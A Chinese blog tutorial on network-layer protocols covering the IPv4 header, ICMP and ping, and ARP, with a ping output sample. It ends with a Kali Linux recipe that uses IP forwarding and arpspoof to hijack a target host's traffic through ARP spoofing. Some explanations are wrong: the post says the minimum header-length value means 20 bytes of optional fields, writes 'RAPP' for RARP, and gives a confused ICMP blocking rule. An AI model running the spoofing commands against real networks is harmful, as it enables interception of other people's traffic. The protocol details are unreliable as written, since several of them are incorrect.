首页 > 技术文章 > 网络层协议

weilanxuesre 2022-02-22 21:36 原文

1.IPv4数据包格式

IP数据包由IP首部和数据部分组成。数据包传输时,首部在数据部分的前面发送。

其中,IP首部每部分都占用32位(即4字节)来描述,前20字节(即前5部分)是固定长度,所有类型的数据包都有这部分。其后是可选的字段,如果存在这个可选字段,则最少占用20字节,不足时将填充。

IP数据包部分没有对数据校验的字段,数据部分是否错误传输的问题,在链路层和TCP层均会做校验。

 

(1).版本号

这4比特规定了数据包的IP协议版本,对于IPv4的数据包,其值总是4。

(2).首部长度

数据包中可能会包含一些可选字段,这些可选字段的长度也是不定的。所以,该字段确定可选字段的长度。其最小值为5,表示可选字段的长度为5x32bits=160bits=20bytes,即20字节的可选字段长度。如果值大于5,则说明可选字段长度大于20字节。所以,可选字段最小长度为20字节,不足部分需填充。一般来说,IP数据包不会包含这个可选字段。

(3).区分服务/服务类型(Type Of Service,TOS)

占据8比特位。用于区分不同类型的IP数据包,例如一些数据包要求低时延高吞吐、高可靠,而有些数据包是不太重要的或实时性要求不高的,借此字段可以区分这些类型的服务数据包。

(4).总长度

指的是IP数据包最大长度,它包含IP首部和数据部分,单位为字节。其占用16比特位,所以允许的最大数据包长度为2^16-1=65535,即64k。但这么大的包一般是不可能出现的,此外以太网帧最多能够封装的数据包长度为1500字节(即最大传输单元MTU),所以,假设一个数据包的长度超过了1500字节,那么这个数据包将在链路层被分片(Fragment)后多次封装成帧。

(5).标识、标志、片偏移

这三个字段都和数据包分片有关。

(6).生存时间

标识数据包在网络中的寿命,其目的是为了避免数据包无限制地在网络中传递(例如路由器A到路由器B,再到路由器C,然后又回到路由器A),每传递一次TTL的值减小1,减为0的时候数据包将被丢弃。数据包发送端会设置该字段。

在以前,TTL是用秒为单位的,后来技术发展,路由器之间传递一次数据包的时间通常远远小于1秒,所以改为了最大跳转次数。如果将TTL设置为1,则该数据包只能在局域网内传输。

(7).协议(Protocol)

协议字段表明该数据包属于何种协议的包。例如,该字段的值为1时,表明该数据包是ICMP包,值为4时,表明该数据包是IP包。

(8).首部校验和(Header Checksum)

校验数据包的首部,路由器每次接收到数据包的时候都需要根据首部重新计算首部校验和,然后与此字段的值比较,如果发现不匹配,则丢弃该数据包。

(9).源IP地址

(10).目标IP地址

(11).可选字段,其长度被首部长度字段记录

 

2.ICMP协议

ICMP(Internet Contorl Message Protocol)是Internet控制报文协议,是TCP/IP协议栈的一个子协议。它可以在主机和路由器之间传递一些控制信息,比如网络是否通常、目标是否可达等控制消息。当目标不可达时,会自动返回对应的ICMP消息。ICMP报文格式如下图所示:

 

ICMP数据包是被封装在IP数据包部分的。它也包含两部分:ICMP首部和ICMP数据。

ICMP首部占用8字节,前4字节是固定字段:Type、Code和Checksum,后4字节视Type和Code不同而不同。

数据部分长度最大576字节,在数据部分包含了IP首部的拷贝。

关于ICMP首部的Type,需记住两个值:0和8。

Type=0的ICMP包是ping的Echo回复包,Type=8的ICMP包是ping的Echo请求包。换句话说,本机向外ping时,流出的是Type=8的echo-request数据包,流入的是Type=0的echo-reply包。而外界ping本机时,则流入的是Type=8的echo-request数据包,流出Type=0的echo-reply数据包。如下图。

 

 因此,要允许本机向外ping,只需允许icmp-type=8的流出包、icmp-type=0的流入包即可;而不允许外界ping本机(禁ping)时,只需限制icmp-type=8的流入包、icmp-type=0的流入包即可。

 

3.ARP协议

ARP(Address Resolution Protocol)是地址解析协议,可以根据目标IP地址解析出对方的MAC地址,然后缓存下来下次直接使用MAC地址通信。与ARP相对应的是RAPP协议,它是根据MAC地址解析IP,是ARP的相反操作。

注意,只有局域网才使用MAC通信,所以ARP协议解析得到的MAC地址一定是局域网内的MAC地址。如果向跨网段的IP地址发送ARP请求,则解析得到的是路由器的MAC地址。

以下图为例分析ARP解析MAC地址的过程。

 

  1.解析目标和自己在同一网段。

A解析同网段的B,A根据自己的IP和子网掩码判断B和自己同网段,这时A就直接在这个网段上发一个ARP广播包寻求B的MAC地址,所有人都收到广播信息,但是B会将MAC地址回应给A,A缓存B的MAC地址。

  2.解析目标和自己不在同一网段。

A根据自己的IP和子网掩码判断出C和自己不在同一个网段,这时A就向自己的网段发送一个ARP广播包用来解析网关的MAC地址,也就是路由器的接口E0的MAC地址,然后路由器回应,A缓存路由器E0接口的MAC地址。

当发送APR请求广播后,目标会进行应答,其中请求数据包和应答数据包的格式非常接近。下图显示了请求包和答应包数据格式的一部分。

 

其中:

  1)op字段是一个1-4的值,1表示该数据帧是APR请求包,2表示该数据帧是ARP应答包,3和4则表示RAPP的请求和应答包。

  2)Src_MAC和Src_IP是数据帧中的源MAC和源IP地址。这两个字段的值不一定是对应的,意思是Src_IP不一定配置在Src_MAC地址接口上。

  3)Dest_MAC和Dest_IP则是目标MAC地址和目标IP地址。对于ARP请求包,Dest_MAC值为"ff:ff:ff:ff:ff:ff",表示这是广播包。同样,这两个字段的值也并非对应的。

当发送ARP请求广播包时,op的值设置为1,目标MAC设置为广播地址"ff:ff:ff:ff:ff:ff",然后在局域网内广播,这是在询问"who has DEST_MAC"。每台主机都能收到该广播包,但只有设置了目标IP的主机才会应答:"Reply DEST_IP is-at DEST_MAC"。应答时使用单播包进行回应,会将op改为2,表示这是应答包,同时将应答的MAC地址替换原来的"ff:ff:ff:ff:ff:ff",并将src和dest的字段位置进行调换。如下图:

 

当响应者接收到请求者的ARP请求时,它会将请求包中的源MAC和源IP缓存到ARP缓存表中。当请求者接收到响应者的应答包时,它会将应答包中的源MAC地址和源IP地址缓存到ARP缓存表中。也就是说,一次ARP请求,会让两端主机都缓存对方的IP和MAC地址。比如ping一次,双方都会缓存MAC地址。

 

4.范例: 利用icmp协议判断网络状态

[root@centos8 ~ 816]#ping www.baidu.com
PING www.a.shifen.com (110.242.68.3) 56(84) bytes of data.
64 bytes from 110.242.68.3 (110.242.68.3): icmp_seq=1 ttl=128 time=30.5 ms
64 bytes from 110.242.68.3 (110.242.68.3): icmp_seq=2 ttl=128 time=26.0 ms
64 bytes from 110.242.68.3 (110.242.68.3): icmp_seq=3 ttl=128 time=25.7 ms
64 bytes from 110.242.68.3 (110.242.68.3): icmp_seq=4 ttl=128 time=26.1 ms
64 bytes from 110.242.68.3 (110.242.68.3): icmp_seq=5 ttl=128 time=25.8 ms
64 bytes from 110.242.68.3 (110.242.68.3): icmp_seq=6 ttl=128 time=25.8 ms
64 bytes from 110.242.68.3 (110.242.68.3): icmp_seq=7 ttl=128 time=26.1 ms
64 bytes from 110.242.68.3 (110.242.68.3): icmp_seq=8 ttl=128 time=25.6 ms
^C
--- www.a.shifen.com ping statistics ---
8 packets transmitted, 8 received, 0% packet loss, time 7013ms
rtt min/avg/max/mdev = 25.619/26.460/30.464/1.537 

 

5.范例::kali 系统实现 arp 欺骗上网流量劫持

#启动路由转发功能
[root@kali ~]# echo 1 > /proc/sys/net/ipv4/ip_forward
#安装包
[root@kali ~]# apt-get install dsniff
#欺骗目标主机,本机是网关
[root@kali ~]# arpspoof -i eth0 -t 被劫持的目标主机IP 网关IP
#欺骗网关,本机是目标主机
[root@kali ~]# arpspoof -i eth0 -t 网关IP 被劫持的目标主机IP

推荐阅读